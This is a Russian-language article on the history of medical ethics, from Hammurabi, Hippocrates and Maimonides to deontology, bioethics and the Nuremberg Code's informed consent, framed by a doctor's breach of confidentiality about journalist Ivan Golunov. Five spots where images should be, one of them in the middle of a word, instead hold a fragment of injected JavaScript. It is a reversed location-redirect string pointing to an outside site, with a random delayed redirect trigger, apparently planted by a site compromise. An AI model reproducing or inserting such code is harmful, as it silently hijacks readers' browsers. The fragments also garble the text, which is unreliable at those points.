История врачебной этики от законов Хаммурапи до Нюрнбергского процесса

Восьмого июня главный врач 71 московской больницы Александр Мясников не зафиксировал у журналиста Ивана Голунова, который подвергся избиению со стороны полицейских при задержании, ни сотрясения мозга, ни перелома ребер — подозрение на них ранее высказали врачи скорой. В этот же день Мясников в своем Инстаграме не только раскрыл врачебную тайну, рассказав об отсутствии каких-либо повреждений у обследованного журналиста, но и сообщил о своем личном отрицательном отношении к пациенту. А также о том, что, в отличие от несимпатичного ему Голунова, «единомышленника он бы вероятно прикрыл».

Общественность возмутилась действиями и словами Мясникова и поспешила напомнить доктору текст торжественной клятвы, которую он давал, получая высокое звание врача и приступая к профессиональной деятельности. СПИД.ЦЕНТР рассказывает, когда и как возникло понятие врачебной этики, какие изменения оно претерпевало на протяжении веков и что означает сегодня.

Клянусь Аполлоном врачом, Асклепием, Гигией и Панакеей

Вопреки распространенному мнению, современные медики не приносят клятвы Гиппократа. Однако те клятвы, присяги и торжественные обещания врачей, которые приняты в различных странах и обществах, во многом основываются именно на тексте, приписываемом древнегреческому целителю. Живший между V и IV веками до нашей эры врач и философ считается отцом медицины и медицинской этики. Однако его учение скорее объединяет и систематизирует накопленные к тому времени знания и устоявшиеся моральные правила врачевания.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor/pictures/5073/content_default.jpg” alt=”” />
Гиппократ

Тем не менее большинство письменных источников, фиксирующих положения медицинской этики, относятся примерно к этому же периоду истории. Среди них надпись на храме Асклепия, которая предписывает врачу быть, подобно самому богу врачевания, «одинаковым спасителем рабов, бедняков, богатых людей», и описание истинного врача из древнеиндийской «Аюрведы»: «Он должен обладать чистым, сострадательным сердцем, правдивым характером, спокойным темпераментом, отличаться величайшей умеренностью и целомудрием, постоянным стремлением делать добро».

Наставления, каким должно быть врачу, встречаются и в более позднем древнеиндийском тексте Ману-смрити (свод законов Ману), датируемом примерно II веком до нашей эры — II веком нашей эры. Этический кодекс врачей Древнего Тибета, известный нам по медицинскому трактату «Чжуд-ши» (V век нашей эры), предписывает врачу быть способным к врачебной деятельности; гуманным; понимать свои обязанности; быть приятным для больных и не отталкивать их своим обхождением; старательным и ознакомленным с науками. Лаконичное наставление врачу есть и у Авиценны: «Врач должен обладать особенными физическими и духовными качествами — глазами сокола, руками девушки, мудростью змеи и сердцем льва».

«Воодушеви меня любовью к искусству и к Твоим созданиям. Не допусти, чтобы жажда к наживе, погоня за славой и почестями примешивались к моему призванию. Укрепи силу сердца моего, чтобы оно всегда было одинаково готово служить бедному и богатому, другу и врагу, доброму и злому. Внуши моим больным доверие ко мне и моему искусству. Отгони от одра их всех шарлатанов и полчища подающих советы родственников и изобличи небрежных сиделок. Даруй мне, о Боже, кротость и терпение с капризными и своенравными больными; даруй мне умеренность во всем — но только не в знании; в нем же дай мне быть ненасытным, и да пребудет далеко от меня мысль, что я все знаю, все могу!»

Моисей Египетский (Маймонид), «Молитва врача»

Самые же первые этические воззрения на врачебное ремесло встречаются еще в своде законов Хаммурапи — одном из наиболее древних письменных источников, дошедших до наших дней. Они были записаны в Вавилоне в Древней Месопотамии и датируются примерно XVIII веком до нашей эры. Даже в то время, когда сама медицина пребывала еще в зачаточном состоянии — самое большее, на что были способны древние целители, было облегчение боли и страданий, но никак не излечение сколько-нибудь серьезных заболеваний, — людей уже волновала этическая сторона взаимоотношений врача и больного, которую старались кодифицировать и контролировать.

Текст клятвы Гиппократа на века зафиксировал девять основных этических принципов и обязательств врача, большинство из которых (за исключением неприятия эвтаназии и абортов) перекочевали без изменений и в современные клятвы и присяги. Вот эти принципы:

  • обязательства перед учителями, коллегами и учениками;
  • принцип непричинения вреда (noli nocere);
  • обязательства оказания помощи больному (принцип милосердия);
  • принцип заботы о пользе больного и постановки во главу угла интересов больного;
  • принцип уважения к жизни и отрицательного отношения к эвтаназии;
  • принцип уважения к жизни и отрицательного отношения к абортам;
  • неприятие интимных связей с пациентами;
  • обязательство личного совершенствования;
  • врачебная тайна (принцип конфиденциальности).

Примечателен сам факт существования такого ритуала, как принесение клятвы врача, в других культурах и эпохах — присяги или торжественного обещания. Потребность в клятве как в символе неразрывно связана с необходимостью выделить особую — медицинскую — этику из этики обыденной, общечеловеческой.

Отношения врача и пациента — это особые отношения, в которых больной полностью зависим от врача, что дает последнему пространство для манипуляций. Главная задача врачебной этики — установить доверие между врачом и пациентом. Основное условие возникновения этого доверия — готовность и умение врача подчинить свои интересы интересам пациента. Что, в свою очередь, служит главному — облегчению страданий больного.

Медицина, религия и этика

На протяжении столетий медицинская этика была неразрывно связана с религиозными учениями. История европейской медицины идет рука об руку с историей христианства. И не только потому, что в течение нескольких веков многие обученные врачеванию люди работали, а порой и жили при монастырях, но и потому, что медицинская этика основывалась на христианских принципах милосердия и что каждая жизнь священна. Отсюда и такое же непримиримое неприятие эвтаназии и абортов, что и у Гиппократа, до сих пор официально признанное в странах с сильной католической традицией.

В период Средневековья профессиональных, дипломированных врачей было не так много. Они жили в крупных городах и работали в основном по договору на какой-нибудь монастырь или высокородную семью. Следовательно, доступ к квалифицированной медицинской помощи для простых людей был весьма затруднителен. А порой и не для простых: например, смертельно больной королеве Изабелле в 1358 году пришлось больше суток ждать своего врача, за которым несколько раз посылали лошадей, так как он находился далеко от замка Хартфорд.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage/content_module/3393/regular_fullscreen_picture-c06f3beef50ace060ff307d5be806fae.jpg” alt=”” />
Кровопускание, гравюра, XVII век.

Более доступной была помощь сельских лекарей, хирургов (которые не считались в те времена врачами и чья квалификация была намного ниже, чем у докторов), цирюльников, которые не только стригли и брили, но еще и пускали кровь, вырывали зубы и срезали мозоли, а также повитух. Причем когда ремесло последних стали осваивать профессиональные врачи, которыми могли быть только мужчины, процент смертей рожениц немного уменьшился, зато сам процесс родов изменился — причем не в лучшую для женщин сторону.

Помимо того, что рожать в присутствии мужчины было для многих женщин, особенно благородного происхождения, психологически тяжело, мужчины-акушеры еще и модернизировали такое приспособление, как кресло, или стул, для родов. Дело в том, что, когда родовспоможением занимались повитухи, им приходилось сгибаться в три погибели, принимая младенца, так как у стула, на котором рожали, были очень низкие ножки — это позволяло роженице упираться ногами в пол.

Мужчине-врачу, как тогда считалось, не пристало так низко склоняться — это неудобно, за несколько часов начинает болеть спина, обзор затруднен. Так — ради удобства врача и ценой неудобства роженицы — ножки кресла для родов стало очень длинными. Впоследствии рожать стали и вовсе лежа, когда сила тяжести никак не помогает, а лишь мешает, зато такое положение дает врачу полный обзор и удобство.

Спустя века отношение к рожающей женщине как к инструменту по производству детей и ущемление ее интересов ради удобства врачей и медицинского персонала вылилось в серьезную проблему насилия в родах, затронувшую весь мир, включая СССР и его наследницу — современную Россию. Только в последние пару десятилетий профессиональное сообщество начинает пересматривать этику акушерства, допуская партнерские роды, роды в «естественных» позах, меняя рекомендации относительно анестезии и прочих вопросов.

Период Средневековья сменился Возрождением с его повсеместным насаждением гуманизма, который также нашел отражение в развитии медицинской этики. Однако связь врачебной этики и религии не ослабевала. Так Парацельс, знаменитый врач, философ и реформатор, отстаивал ценности христианского мировоззрения: «Из сердца растет врач, из Бога происходит он, и высшей степенью врачевания является любовь».

Три столетия спустя ему вторил английский врач Томас Персиваль в своей книге «Медицинская этика, или свод установленных правил применительно к профессиональному поведению врачей и хирургов». Он указывал на то, что пренебрегать чувствами и страхами пациентов и смеяться над ними жестоко и не должно хорошему врачу; что чувства и эмоции больных в критических обстоятельствах следует знать и принимать во внимание не в меньшей степени, чем симптомы их болезни; что к женщинам следует относиться с самой скрупулезной деликатностью; жалобы больных обсуждать таким тоном голоса, чтобы не было слышно окружающим, а врачебную тайну строго соблюдать.

В общей сложности современные морально-этические принципы медицины складывались в течение более чем двадцати пяти веков и сегодня могут быть описаны как совокупность трех моделей, основывающихся на трех главных принципах. Это модель Гиппократа с принципом «не навреди» в основе, модель Парацельса и принцип «делай добро», а также деонтологическая модель, основывающаяся на принципе «соблюдай долг».

Выделяют четыре типа вреда, исходящего от врача пациенту:

— вред от бездействия, неоказания помощи;

— вред от небрежности либо злого умысла, например, корысти;

— вред от неверных, необдуманных или неквалифицированных действий;

— вред от объективно необходимых действий.

Современная медицинская этика допускает только объективно неизбежный вред, который должен быть оправданным и минимальным.

Деонтология и долг, медицинские кодексы и этические комиссии

Термин деонтология в научную медицинскую литературу ввел основоположник отечественной онкологии хирург Николай Николаевич Петров. Под деонтологией (от греческого слова deontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos — должное) подразумевается свод правил, которыми должен руководствоваться врач той или иной области медицины. Например, подробно разъясненные Петровым в «Вопросах хирургической деонтологии» правила для хирургов можно вкратце изложить так:

  • хирургия для больных, а не больные для хирургии;
  • делай и советуй делать больному только такую операцию, на которую ты согласился бы в похожих условиях для самого себя или для самого близкого тебе человека;
  • для душевного покоя больных необходимы посещения хирурга накануне операции и несколько раз в самый день операции, как до нее, так и после;
  • идеалом хирургии является работа с действительно полным устранением не только всякой физической боли, но и всякого душевного волнения больного;
  • информирование больного, которое должно включать в том числе упоминание о риске, о возможности инфекции, побочных повреждений.

Долг — центральная категория современной медицинской этики. Это не только свод должностных обязанностей, но также и нравственные критерии, которые предъявляются врачу. Конкретной мерой долга является ответственность — причем не только юридическая, в понятие ответственности медицинского работника также входят профессиональная честь и совесть. Совесть как этическая категория — это способность личности к нравственному самоконтролю, умение воспринимать профессиональный долг как личный и профессиональную ответственность как личную. Реальность такова, что врач действительно должен быть лучшей версией себя как человека, насколько и в каких внешних условиях это выполнимо — предмет споров.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage/content_module/3401/regular_fullscreen_picture-7682e2b3780ae0c855b100a385df7f3f.jpg” alt=”” />
Пабло Пикассо, «Знание и милосердие», 1897.

Однако такое требование к врачу и общество в целом, и профессиональное сообщество выдвигают на протяжении веков и закрепляют во всевозможных медицинских кодексах — от средневекового кодекса китайских врачей, изложенного в книге «Тысяча золотых лекарств», и всех упомянутых выше до Международного кодекса медицинской этики, принятого Генеральной ассамблеей Всемирной медицинской ассоциации.

Внешним регулятором соблюдения этих правил и требований выступают этические комитеты и комиссии. Они могут действовать на постоянной основе, а могут собираться для рассмотрения как конкретных случаев, так и фундаментальных вопросов, например, новых методов исследования или терапии. Эти комиссии и комитеты строятся на междисциплинарной основе и включают, помимо медиков и биологов, юристов, психологов, социальных работников, экспертов в области медицинской этики, пациентов и их представителей, а также общественников и НКО.

Биоэтика и новые вызовы

XX и XXI века — период бурного развития медицины. Человечество научилось не только излечивать многие болезни и продлевать жизнь, но и в буквальном смысле давать ее — путем искусственного оплодотворения и клонирования, а также возвращать к жизни после клинической смерти. Все это и многое другое потребовало пересмотра устоявшихся морально-этических норм, так возникла дисциплина биоэтики, предмет изучения которой — границы допустимого в манипуляциях с жизнью и смертью человека.

Кроме того, медицинская этика приняла новые вызовы, когда качество жизни стало не менее важным, чем сама жизнь. Это заставило многие общества, освободившиеся от давления религиозной морали, пересмотреть отношение к эвтаназии, абортам и контрацепции.

Среди кардинальных изменений, которые претерпела медицинская этика за последнее столетие, первыми стали признание ятрогений и закрепление за пациентом права на информацию. Под ятрогениями понимают ухудшение течения болезни или психологического состояния пациента из-за профессиональных ошибок или некорректного поведения медиков. В 20-х годах XX века профессиональным сообществом был официально признан психологический вред, который может быть нанесен пациенту во время лечения медперсоналом, не соблюдающим предписаний в части вежливости, внимательности, индивидуального подхода и конфиденциальности.

Что касается реализации права пациента на информацию, то принцип информированного согласия впервые был сформулирован в Нюрнбергском Кодексе 1947 года. Этот документ стал следствием реакции на ужасы концлагерей, в которых ставились бесчеловечные опыты над людьми. И изначально он касался именно этой сферы, но уже очень скоро принцип добровольного согласия распространился и на медицинскую помощь — диагностику, терапию, хирургию, трансплантологию и все остальные сферы, окончательно закрепившись в нормативных актах спустя десять лет.

Сегодня принцип информационного согласия означает, что любой медработник, вступающий в коммуникацию с пациентом, обязан максимально полно и доходчиво объяснять ему, как обстоят дела с его здоровьем, какие варианты лечения существуют и что ждет пациента, если он выберет тот или иной путь. Этот принцип гарантирует пациенту право в том числе и отказаться от лечения, а принудительное лечение социально опасных больных может осуществляться только по решению суда.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor/pictures/5074/content_62537209_332085137693821_2477310181118050304_n.jpg” alt=”” />
Якоб Торенвлит, «Визит врача», около 1666-1667.

В парадигме современной медицинской этики терпеливо, доходчиво, вежливо, честно и максимально полно рассказывать пациенту обо всем, что с ним происходит, — это не жест доброй воли врача, а его прямая обязанность, неразрывно связанная с другой основополагающей обязанностью — хранить врачебную тайну.

«Что бы при лечении, а также и без лечения, я ни увидел или ни услышал касательно жизни людской из того, что не следует когда-либо разглашать, я умолчу о том, считая подобные вещи тайной», — так звучат предпоследние строки клятвы Гиппократа. Сегодня врачебная тайна — одно из основных понятий медицинской этики, в которое включаются как сведения о больном, полученные медработником от него самого или в процессе диагностики и лечения, так и сведения, которые нельзя сообщать больному о нем самом, если они могут нанести ему непоправимый вред.

Ограничение действия этого принципа возможно только в случае острой общественной необходимости, как то угроза распространения инфекционных заболеваний, оказание помощи несовершеннолетнему младше 15 лет или предоставление сведений органам дознания и суду. На каком основании позволил себе нарушить врачебную тайну доктор Александр Мясников — остается загадкой.

Добавить комментарий